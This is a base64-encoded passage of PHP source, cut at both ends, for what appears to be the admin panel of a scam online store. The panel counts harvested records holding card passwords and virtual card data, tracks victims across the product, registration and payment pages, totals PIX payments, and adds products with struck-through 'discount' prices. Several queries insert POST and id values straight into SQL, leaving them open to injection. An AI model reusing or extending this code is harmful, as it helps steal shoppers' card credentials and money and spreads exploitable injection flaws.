BzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvdG9jYW50aW5zLmdpZicKICAgIF07CiAgICAKICAgIC8vIEFybWF6ZW5lIG9zIHZhbG9yZXMgZGFzIG3DqXRyaWNhcyBlbSB1bSBhcnJheSBhc3NvY2lhdGl2by4KICAgICRtZXRyaWNhcyA9IFsKICAgICAgICAnQUMnID0+ICRyb3dfTWV0cmljYXNbJ0FDJ10sCiAgICAgICAgJ0FMJyA9PiAkcm93X01ldHJpY2FzWydBTCddLAogICAgICAgICdBUCcgPT4gJHJvd19NZXRyaWNhc1snQVAnXSwKICAgICAgICAnQU0nID0+ICRyb3dfTWV0cmljYXNbJ0FNJ10sCiAgICAgICAgJ0JBJyA9PiAkcm93X01ldHJpY2FzWydCQSddLAogICAgICAgICdDRScgPT4gJHJvd19NZXRyaWNhc1snQ0UnXSwKICAgICAgICAnRVMnID0+ICRyb3dfTWV0cmljYXNbJ0VTJ10sCiAgICAgICAgJ0dPJyA9PiAkcm93X01ldHJpY2FzWydHTyddLAogICAgICAgICdNQScgPT4gJHJvd19NZXRyaWNhc1snTUEnXSwKICAgICAgICAnTVQnID0+ICRyb3dfTWV0cmljYXNbJ01UJ10sCiAgICAgICAgJ01TJyA9PiAkcm93X01ldHJpY2FzWydNUyddLAogICAgICAgICdNRycgPT4gJHJvd19NZXRyaWNhc1snTUcnXSwKICAgICAgICAnUEEnID0+ICRyb3dfTWV0cmljYXNbJ1BBJ10sCiAgICAgICAgJ1BCJyA9PiAkcm93X01ldHJpY2FzWydQQiddLAogICAgICAgICdQUicgPT4gJHJvd19NZXRyaWNhc1snUFInXSwKICAgICAgICAnUEUnID0+ICRyb3dfTWV0cmljYXNbJ1BFJ10sCiAgICAgICAgJ1BJJyA9PiAkcm93X01ldHJpY2FzWydQSSddLAogICAgICAgICdSSicgPT4gJHJvd19NZXRyaWNhc1snUkonXSwKICAgICAgICAnUk4nID0+ICRyb3dfTWV0cmljYXNbJ1JOJ10sCiAgICAgICAgJ1JTJyA9PiAkcm93X01ldHJpY2FzWydSUyddLAogICAgICAgICdSTycgPT4gJHJvd19NZXRyaWNhc1snUk8nXSwKICAgICAgICAnUlInID0+ICRyb3dfTWV0cmljYXNbJ1JSJ10sCiAgICAgICAgJ1NDJyA9PiAkcm93X01ldHJpY2FzWydTQyddLAogICAgICAgICdTUCcgPT4gJHJvd19NZXRyaWNhc1snU1AnXSwKICAgICAgICAnU0UnID0+ICRyb3dfTWV0cmljYXNbJ1NFJ10sCiAgICAgICAgJ1RPJyA9PiAkcm93X01ldHJpY2FzWydUTyddCiAgICBdOwogICAgCiAgICAgICAgICAgIAogICAgICAgIGFyc29ydCgkbWV0cmljYXMpOwogICAgICAgICRtZXRyaWNhc19tYWlvcmVzID0gYXJyYXlfc2xpY2UoJG1ldHJpY2FzLCAwLCA4KTsKICAgIAogICAgICAgIGZvcmVhY2ggKCRtZXRyaWNhc19tYWlvcmVzIGFzICRzaWdsYV9lc3RhZG8gPT4gJGFjZXNzb19VRikgewogICAgICAgICAgICAkbm9tZV9lc3RhZG8gPSAkbm9tZXNfZXN0YWRvc1skc2lnbGFfZXN0YWRvXTsKICAgICAgICAgICAgJGNhbWluaG9fYmFuZGVpcmEgPSAkY2FtaW5ob19iYW5kZWlyYXNbJHNpZ2xhX2VzdGFkb107CiAgICAKICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPSJkLWZsZXgiPic7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImJnLWxpZ2h0Ij4nOwogICAgICAgICAgICBlY2hvICc8aW1nIHNyYz0iJyAuICRjYW1pbmhvX2JhbmRlaXJhIC4gJyIgYWx0PSJ2ZWN0b3IgYnVyZ2VyIj4nOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICBlY2hvICc8ZGl2Pic7CiAgICAgICAgICAgIGVjaG8gJzxoNiBjbGFzcz0ibWItMCI+PGE+JyAuICRub21lX2VzdGFkbyAuICc8L2E+PC9oNj48c3BhbiBjbGFzcz0iZi1saWdodCBmLTEyIGYtdy01MDAiPicgLiAkYWNlc3NvX1VGIC4gJzwvc3Bhbj4nOwogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICBlY2hvICc8L2xpPic7IAogICAgICAgIH0KICAgIH0KfQogCgoKaWYgKCRwYWdlID09ICdjb250LW1peCcpIHsgCiAgICAkcXVlcnlfc2V0ID0gc3ByaW50ZigiU0VMRUNUICogRlJPTSBkYWRvcyBXSEVSRSB1c2VyID0gJyRzZXNzaW9uX2FkbWluJyIpOwogICAgJHNldCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcXVlcnlfc2V0KTsKICAgICRyb3dfc2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzZXQpOwogICAgJHRvdGFsUm93c19zZXQgPSBteXNxbGlfbnVtX3Jvd3MoJHNldCk7ICAKICAgIGVjaG8gJHRvdGFsUm93c19zZXQ7ICAKfQppZiAoJHBhZ2UgPT0gJ2NvbnQtY29uc3VsJykgeyAKICAgICRxdWVyeV9zZXQgPSBzcHJpbnRmKCJTRUxFQ1QgKiBGUk9NIGRhZG9zIFdIRVJFIGNhcnRhb19zZW5oYSAhPSAnJyBBTkQgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciKTsKICAgICRzZXQgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHF1ZXJ5X3NldCk7CiAgICAkcm93X3NldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc2V0KTsKICAgICR0b3RhbFJvd3Nfc2V0ID0gbXlzcWxpX251bV9yb3dzKCRzZXQpOyAgCiAgICBlY2hvICR0b3RhbFJvd3Nfc2V0OyAgCn0KaWYgKCRwYWdlID09ICdjb250LXZpcnR1YWwnKSB7IAogICAgJHF1ZXJ5X3NldCA9IHNwcmludGYoIlNFTEVDVCAqIEZST00gZGFkb3MgV0hFUkUgY2FydGFvX3ZpcnR1YWwgIT0gJycgQU5EIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIik7CiAgICAkc2V0ID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRxdWVyeV9zZXQpOwogICAgJHJvd19zZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNldCk7CiAgICAkdG90YWxSb3dzX3NldCA9IG15c3FsaV9udW1fcm93cygkc2V0KTsgIAogICAgZWNobyAkdG90YWxSb3dzX3NldDsgIAp9CgppZiAoJHBhZ2UgPT0gJ2NvbnQtcGl4JykgeyAKICAgICRxdWVyeV9zZXQgPSBzcHJpbnRmKCJTRUxFQ1QgKiBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciKTsKICAgICRzZXQgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHF1ZXJ5X3NldCk7CiAgICAkcm93X3NldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc2V0KTsKICAgICR0b3RhbFJvd3Nfc2V0ID0gbXlzcWxpX251bV9yb3dzKCRzZXQpOyAgCiAgICBlY2hvICR0b3RhbFJvd3Nfc2V0OyAgCn0KCmlmICgkcGFnZSA9PSAnZmF0dXJhbWVudG8nKSB7CiAgICAkc3FsMiA9ICJTRUxFQ1QgU1VNKHZhbG9yKSBBUyB0b3RhbCBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMik7CiAgICAkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgJHRvdGFsID0gJHJvd1sndG90YWwnXTsKICAgIC8vIEZvcm1hdGEgbyB2YWxvciBjb21vIHJlYWlzIGJyYXNpbGVpcm9zCiAgICAkZm9ybWF0dGVkX3RvdGFsID0gbnVtYmVyX2Zvcm1hdCgkdG90YWwsIDIsICcsJywgJy4nKTsKCiAgICBlY2hvICRmb3JtYXR0ZWRfdG90YWw7Cn0gCgoKaWYgKCRwYWdlID09ICd2aXNpdF9wcm9kdXRvJykgewogCiAgICAkc3FsMyAgICAgICAgICAgICAgPSAiU0VMRUNUICogRlJPTSBvbmxpbmVfdXNlcnMgd2hlcmUgdXNlciAgPSAnJHNlc3Npb25fYWRtaW4nIGFuZCBwYWdlID0gJ1Byb2R1dG8nIjsKICAgICRyZXN1bHQzICAgICAgICAgICA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMyk7IAogICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgIGVjaG8gIiRjb3VudF91c2VyX29ubGluZSI7IAoKfSAKCmlmICgkcGFnZSA9PSAndmlzaXRfY2hlY2tvdXQnKSB7CiAKICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbicgYW5kIHBhZ2UgPSAnQ2FkYXN0cm8nIjsKICAgICRyZXN1bHQzICAgICAgICAgICA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsMyk7IAogICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgIGVjaG8gIiRjb3VudF91c2VyX29ubGluZSI7IAoKfSAKCmlmICgkcGFnZSA9PSAndmlzaXRfcGFnYXInKSB7CiAKICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbicgYW5kIHBhZ2UgPSAnUGFnYW1lbnRvJyI7CiAgICAkcmVzdWx0MyAgICAgICAgICAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHNxbDMpOyAKICAgICRjb3VudF91c2VyX29ubGluZSA9IG15c3FsaV9udW1fcm93cygkcmVzdWx0Myk7CiAgICBlY2hvICIkY291bnRfdXNlcl9vbmxpbmUiOyAKCn0gCgoKaWYgKCRwYWdlID09ICd2aXNpdF90b3RhbCcpIHsKIAogICAgJGZvcm1hdHRlZF90b3RhbCA9ICcxOCc7IAogICAgZWNobyAkZm9ybWF0dGVkX3RvdGFsOwoKfSAKCgppZiAoJHBhZ2UgPT0gJ3Zpc2l0X29ubGluZScpIHsKICAgIC8vLyAgLy8vLy8vLy8vIGRlbGV0YXIgdXN1YXJpb3Mgb2ZmbGluZQogICAgICAkdGltZSAgICAgICA9IHRpbWUoKTsKICAgICAgJHRpbWVfY2hlY2sgPSAkdGltZS0xMjA7IAogICAgICAkc3FsNCAgICA9ICJERUxFVEUgRlJPTSBvbmxpbmVfdXNlcnMgV0hFUkUgdGltZTwkdGltZV9jaGVjayI7IAogICAgICAkcmVzdWx0NCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsNCk7ICAKICAgICAgLy8vLy8vIGNvbnRhZG9yIGRlIG9ubGluZXMgCiAgICAgICRzcWwzICAgICAgICAgICAgICA9ICJTRUxFQ1QgKiBGUk9NIG9ubGluZV91c2VycyB3aGVyZSB1c2VyICA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgICAkcmVzdWx0MyAgICAgICAgICAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHNxbDMpOyAKICAgICAgJGNvdW50X3VzZXJfb25saW5lID0gbXlzcWxpX251bV9yb3dzKCRyZXN1bHQzKTsKICAgICAgZWNobyAiJGNvdW50X3VzZXJfb25saW5lIjsKICAgIAogICAgICBteXNxbGlfY2xvc2UoJENvbm5lY3REQik7IAogICAgfQogICAgIAoKCgoKCi8vLy8vLy8vLy8vLy8vIERFTEVUQVIKCmlmICgkcGFnZSA9PT0gJ2RlbGV0ZV9wcm9kdXRvJykgewoKICAgIAogICAgaWYgKCFlbXB0eSgkaWQpKSB7CiAgICAgICAgJHF1ZXJ5ID0gJENvbm5lY3REQi0+cHJlcGFyZSgiREVMRVRFIEZST00gcHJvZHV0byBXSEVSRSBpZCA9ID8gQU5EIHVzZXIgPSA/Iik7CiAgICAgICAgJHF1ZXJ5LT5iaW5kX3BhcmFtKCdpcycsICRpZCwgJHNlc3Npb25fYWRtaW4pOwogICAgICAgICRxdWVyeS0+ZXhlY3V0ZSgpOwogICAgICAgIAogICAgICAgIGlmICgkcXVlcnktPmFmZmVjdGVkX3Jvd3MpIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9cHJvZHV0b3MiKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBlcnJvCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAvLyBvawogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7CiAgICB9Cn0KCmlmICgkcGFnZSA9PT0gJ2RlbGV0ZV9zZWxlY3RpbmZvJykgewogICAgJGlkID0gZmlsdGVyX2lucHV0KElOUFVUX0dFVCwgJ2lkJywgRklMVEVSX1NBTklUSVpFX05VTUJFUl9JTlQpOwogICAgCiAgICBpZiAoIWVtcHR5KCRpZCkpIHsKICAgICAgICAkcXVlcnkgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJERUxFVEUgRlJPTSBkYWRvcyBXSEVSRSBpZCA9ID8gQU5EIHVzZXIgPSA/Iik7CiAgICAgICAgJHF1ZXJ5LT5iaW5kX3BhcmFtKCdpcycsICRpZCwgJHNlc3Npb25fYWRtaW4pOwogICAgICAgICRxdWVyeS0+ZXhlY3V0ZSgpOwogICAgICAgIAogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPWluZm9zIik7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKaWYgKCRwYWdlID09PSAnZGVsZXRlX3BlZGlkbycpIHsgCiAgICBpZiAoIWVtcHR5KCRpZCkpIHsKICAgICAgICAkcXVlcnkgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJERUxFVEUgRlJPTSBwZWRpZG9zIFdIRVJFIGlkID0gPyBBTkQgdXNlciA9ID8iKTsKICAgICAgICAkcXVlcnktPmJpbmRfcGFyYW0oJ2lzJywgJGlkLCAkc2Vzc2lvbl9hZG1pbik7CiAgICAgICAgJHF1ZXJ5LT5leGVjdXRlKCk7CiAgICAgICAgICAgICAgICAKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1wZWRpZG9zIik7CiAgICAgICAgZXhpdDsKICAgIH0KfSAKCmlmICgkcGFnZSA9PSAnZGVsZXRlX2luZm9mdWxsJyl7IC8vLy8vLy8vLy8vLy8vZGVsZXRhciBpbmZvcwogICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIGRhZG9zIFdIRVJFIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICRyZXN1bHRhZG9fdXN1YXJpbyA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3VzdWFyaW8pOwogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vP3BhZ2U9aW5mb3MiKTsKICAgIGV4aXQ7Cn0KCmlmICgkcGFnZSA9PSAnZGVsZXRlX3BlZGlkb3NmdWxsJyl7IC8vLy8vLy8vLy8vLy8vZGVsZXRhciBwZWRpZG9zL3BpeAogICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIHBlZGlkb3MgV0hFUkUgdXNlciA9ICckc2Vzc2lvbl9hZG1pbiciOwogICAgJHJlc3VsdGFkb191c3VhcmlvID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRyZXN1bHRfdXN1YXJpbyk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1wZWRpZG9zIik7CiAgICBleGl0Owp9CmlmICgkcGFnZSA9PSAnZGVsZXRlX21ldHJpY2FzJykgewogICAgJHJlc3VsdF91c3VhcmlvID0gIlVQREFURSBtZXRyaWNhcyBTRVQgYW5kcm9pZCA9ICcwJywgaW9zID0gJzAnLCBwYyA9ICcwJywKICAgICAgICAgICAgICAgICAgICAgICAgQUMgPSAnMCcsIEFMID0gJzAnLCBBUCA9ICcwJywgQU0gPSAnMCcsIEJBID0gJzAnLCBDRSA9ICcwJywgRVMgPSAnMCcsIEdPID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgTUEgPSAnMCcsIE1UID0gJzAnLCBNUyA9ICcwJywgTUcgPSAnMCcsIFBBID0gJzAnLCBQQiA9ICcwJywgUFIgPSAnMCcsIFBFID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgUEkgPSAnMCcsIFJKID0gJzAnLCBSTiA9ICcwJywgUlMgPSAnMCcsIFJPID0gJzAnLCBSUiA9ICcwJywgU0MgPSAnMCcsIFNQID0gJzAnLCAKICAgICAgICAgICAgICAgICAgICAgICAgU0UgPSAnMCcsIGBUT2AgPSAnMCcgCiAgICAgICAgICAgICAgICAgICAgICBXSEVSRSB1c2VyID0gPyI7CgogICAgJHN0bXQgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCRyZXN1bHRfdXN1YXJpbyk7CiAgICAkc3RtdC0+YmluZF9wYXJhbSgicyIsICRzZXNzaW9uX2FkbWluKTsKICAgICRzdG10LT5leGVjdXRlKCk7CgogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9aG9tZSIpOwogICAgZXhpdDsKfQoKaWYgKCRwYWdlID09ICdkZWxldGVfdmlzaXRhcycpIHsKICAgICRyZXN1bHRfdXN1YXJpbyA9ICJVUERBVEUgbWV0cmljYXMgU0VUIGFuZHJvaWQgPSAnMCcsIGlvcyA9ICcwJywgcGMgPSAnMCcgV0hFUkUgdGlwbyA9ICdjbGljaycgQU5EIHVzZXIgPSA/IjsKCiAgICAkc3RtdCA9ICRDb25uZWN0REItPnByZXBhcmUoJHJlc3VsdF91c3VhcmlvKTsKICAgICRzdG10LT5iaW5kX3BhcmFtKCJzIiwgJHNlc3Npb25fYWRtaW4pOyAKICAgICRzdG10LT5leGVjdXRlKCk7CgogICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9aG9tZSIpOwogICAgZXhpdDsKfQoKCmlmICgkcGFnZSA9PSAnZGVsZXRlX3BpeGVsJykgewogICAgLy8gVmVyaWZpY2FuZG8gc2UgbyBJRCBlc3TDoSBkZWZpbmlkbyBlIG7Do28gdmF6aW8KICAgIGlmIChpc3NldCgkaWQpICYmICFlbXB0eSgkaWQpICYmIGlzc2V0KCRzZXNzaW9uX2FkbWluKSAmJiAhZW1wdHkoJHNlc3Npb25fYWRtaW4pKSB7CiAgICAgICAgJHJlc3VsdF91c3VhcmlvID0gIkRFTEVURSBGUk9NIHBpeGVsIFdIRVJFIGlkID0gJyRpZCcgQU5EIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvKTsKCiAgICAgICAgaWYgKCRyZXN1bHRhZG9fdXN1YXJpbykgewogICAgICAgICAgICAvLyBSZWRpcmVjaW9uYW5kbyBhcMOzcyBhIGV4Y2x1c8OjbwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1waXhlbCIpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm8gYW8gdGVudGFyIGV4Y2x1aXIgbyBwZWRpZG8uIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIklEIG91IHNlc3PDo28gZGUgdXN1w6FyaW8gaW52w6FsaWRvcy4iOwogICAgfQp9IAoKLy8vLy8vLy8vLy8vLy8gRm9ybXVsYXJpbyAKaWYgKCRwYWdlID09ICJmb3JtdWxhcmlvX3BpeGVsIikgeyAvLy8gYWRkIHBpeGVsCgogICAgaWYgKCRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdID09ICJQT1NUIiAmJiBpc3NldCgkX1BPU1RbJ3RpdHVsbyddKSAmJiBpc3NldCgkX1BPU1RbJ2lkUGl4ZWwnXSkgJiYgaXNzZXQoJF9QT1NUWyd0b2tlblBpeGVsJ10pKSB7CiAgICAgICAgLy8gUmVjdXBlcmEgb3MgZGFkb3MgZG8gZm9ybXVsw6FyaW8KICAgICAgICAkdGl0dWxvID0gJF9QT1NUWyd0aXR1bG8nXTsKICAgICAgICAkaWRQaXhlbCA9ICRfUE9TVFsnaWRQaXhlbCddOwogICAgICAgICR0b2tlblBpeGVsID0gJF9QT1NUWyd0b2tlblBpeGVsJ107CiAgICAgICAgCiAgICAKICAgICAgICAvLyBTdWEgY29uZXjDo28gY29tIG8gYmFuY28gZGUgZGFkb3MgasOhIGVzdGFiZWxlY2lkYSBlbSBhbGd1bSBsdWdhcgogICAgCiAgICAgICAgLy8gUHJlcGFyYSBhIGNvbnN1bHRhIFNRTCBwYXJhIGluc2Vyw6fDo28KICAgICAgICAkcmVzdWx0X3NtdHAgPSAkQ29ubmVjdERCLT5wcmVwYXJlKCJJTlNFUlQgSU5UTyBwaXhlbCAodGl0dWxvLCBpZF9waXhlbCwgdG9rZW4sIHVzZXIpIFZBTFVFUyAoPywgPywgPywgPykiKTsKICAgICAgICAkcmVzdWx0X3NtdHAtPmJpbmRfcGFyYW0oInNzc3MiLCAkdGl0dWxvLCAkaWRQaXhlbCwgJHRva2VuUGl4ZWwsICRzZXNzaW9uX2FkbWluKTsKICAgIAogICAgICAgIC8vIEV4ZWN1dGEgYSBjb25zdWx0YSBwcmVwYXJhZGEKICAgICAgICBpZiAoJHJlc3VsdF9zbXRwLT5leGVjdXRlKCkpIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9cGl4ZWwiKTsKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm8gYW8gaW5zZXJpciBvcyBkYWRvczogIiAuICRyZXN1bHRfc210cC0+ZXJyb3I7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICJFcnJvOiBOw6NvIGZvaSBwb3Nzw612ZWwgcHJvY2Vzc2FyIG9zIGRhZG9zIGRvIGZvcm11bMOhcmlvLiI7CiAgICAgICAgZXhpdDsKICAgIH0KCmhlYWRlciAoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1ob21lIik7Cgp9CgoKaWYgKCRwYWdlID09ICJhZGRfcHJvZHV0byIpIHsKICAgIGlmICgkX1NFUlZFUlsiUkVRVUVTVF9NRVRIT0QiXSA9PSAiUE9TVCIpIHsKICAgICAgICAvLyBWZXJpZmljYSBzZSBvcyBjYW1wb3Mgb2JyaWdhdMOzcmlvcyBmb3JhbSBwcmVlbmNoaWRvcwogICAgICAgIGlmICgKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJ0aXR1bG9fcHJvZHV0byJdKSAmJiAKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJ2YWxvcl9wcm9kdXRvIl0pICYmIAogICAgICAgICAgICBpc3NldCgkX1BPU1RbInZhbG9yX3Jpc2NhZG8iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsicHJvZHV0b19pbWFnZW0iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsidmVuZGlkb3NfcHJvZHV0byJdKSAmJiAKICAgICAgICAgICAgaXNzZXQoJF9QT1NUWyJjYXRlZ29yaWFzX3Byb2R1dG8iXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsiY2F0ZWdvcmlhc19vZmVydGEiXSkgJiYgCiAgICAgICAgICAgIGlzc2V0KCRfUE9TVFsiY2hhdmVfcGl4Il0pICYmIAogICAgICAgICAgICBpc3NldCgkX1BPU1RbImRlc2NyaWNhb19wcm9kdXRvIl0pCiAgICAgICAgKSB7CiAgICAgICAgICAgIC8vIENvbGV0YSBkb3MgZGFkb3MgcmVjZWJpZG9zCiAgICAgICAgICAgICR0aXR1bG8gPSAkX1BPU1RbInRpdHVsb19wcm9kdXRvIl07CiAgICAgICAgICAgICR2YWxvciA9ICRfUE9TVFsidmFsb3JfcHJvZHV0byJdOwogICAgICAgICAgICAkdmFsb3JSaXNjYWRvID0gJF9QT1NUWyJ2YWxvcl9yaXNjYWRvIl07CiAgICAgICAgICAgICRwcm9kdXRvaW1hZ2VtID0gJF9QT1NUWyJwcm9kdXRvX2ltYWdlbSJdOwogICAgICAgICAgICAgCiAgICAgICAgICAgICR2ZW5kaWRvcyA9ICRfUE9TVFsidmVuZGlkb3NfcHJvZHV0byJdOwogICAgICAgICAgICAkY2F0ZWdvcmlhc1Byb2R1dG9zID0gJF9QT1NUWyJjYXRlZ29yaWFzX3Byb2R1dG8iXTsKICAgICAgICAgICAgJGNhdGVnb3JpYXNPZmVydGEgPSAkX1BPU1RbImNhdGVnb3JpYXNfb2ZlcnRhIl07CiAgICAgICAgICAgICRjaGF2ZVBpeCA9ICRfUE9TVFsiY2hhdmVfcGl4Il07CiAgICAgICAgICAgICRkZXNjcmljYW8gPSAkX1BPU1RbImRlc2NyaWNhb19wcm9kdXRvIl07CiAgICAKICAgICAgICAgICAgJHJlc3VsdF9zbXRwID0gIklOU0VSVCBJTlRPIHByb2R1dG8gKHByb2R1dG9fbmFtZSwgcHJvZHV0b192YWxvciwgcHJvZHV0b19yaXNjYWRvLCBwcm9kdXRvX2ltZywgcHJvZHV0b19kZXNjcmljYW8sIHByb2R1dG9fY2F0ZWdvcmlhLCBwcm9kdXRvX29mZXJ0YSwgcHJvZHV0b19vbnBpeCwgcHJvZHV0b19jaGF2ZXBpeCwgcHJvZHV0b192aXNpdGFzLCBwcm9kdXRvX3ZlbmRpZG9zLHZlbmRpZG9zLCBwcm9kdXRvX2Rlc2NvbnRvLCB1c2VyKSBWQUxVRVMgKCckdGl0dWxvJywnJHZhbG9yJywnJHZhbG9yUmlzY2FkbycsJyRwcm9kdXRvaW1hZ2VtJywnJGRlc2NyaWNhbycsJyRjYXRlZ29yaWFzUHJvZHV0b3MnLCckY2F0ZWdvcmlhc09mZXJ0YScsJzAnLCckY2hhdmVQaXgnLCcwJywnJHZlbmRpZG9zJywnMCcsJzAnLCAnJHNlc3Npb25fYWRtaW4nKSI7CiAgICAgICAgICAgICRyZXN1bHRhZG9fc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3NtdHApOyAKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4/cGFnZT1wcm9kdXRvcyIpOwogICAgICAgICAgICBleGl0KCk7Cgp9Cn0KfSAKIAppZiAoJHBhZ2UgPT0gImFwaS13aGFzdGFwcCIpIHsKCiAgICAkdXJsX3NpdGUgPSAiaHR0cHM6Ly8kX1NFUlZFUltIVFRQX0hPU1RdIjsKICAgICRzZXNzaW9uX2FkbWluID0gJF9TRVNTSU9OWydzZXNzaW9uX2FkbWluJ107CiAgICBpZiAoJHNlc3Npb25fYWRtaW4gPT0gJycpewogICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkdXJsX3NpdGUiKTsKICAgIH0gCiAgICAKICAgICRpZF93aGF0c2FwcCAgICA9ICRfUE9TVFsnd2hhdHNhcHBfaWQnXTsKICAgICR0b2tlbl9jb250YSAgICA9ICRfUE9TVFsndG9rZW5fY29udGEnXTsKICAgICR0b2tlbl93aGF0c2FwcCA9ICRfUE9TVFsnd2hhdHNhcHBfdG9rZW4nXTsKICAgICR0b2tlbl90ZWxlZm9uZSA9ICRfUE9TVFsnd2hhdHNhcHBfdGVsZWZvbmUnXTsKICAgICRhdGl2YXIgPSAkX1BPU1RbJ2F0aXZhciddOwogICAgCiAgIAogICAgaWYgKCR0b2tlbl90ZWxlZm9uZSA9PSAnJyl7fSBlbHNlIHsKICAgICRjdXJsID0gY3VybF9pbml0KCk7IAogICAgY3VybF9zZXRvcHRfYXJyYXkoJGN1cmwsIGFycmF5KAogICAgICAgIENVUkxPUFRfVVJMID0+ICJodHRwczovL2FwaS56LWFwaS5pby9pbnN0YW5jZXMvJGlkX3doYXRzYXBwL3Rva2VuLyR0b2tlbl93aGF0c2FwcC9zZW5kLW1lc3NhZ2VzIiwKICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsCiAgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwKICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9PiAxMCwKICAgICAgICBDVVJMT1BUX1RJTUVPVVQgPT4gMzAsCiAgICAgICAgQ1VSTE9QVF9IVFRQX1ZFUlNJT04gPT4gQ1VSTF9IVFRQX1ZFUlNJT05fMV8xLAogICAgICAgIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCA9PiAiUE9TVCIsCiAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTID0+ICJ7X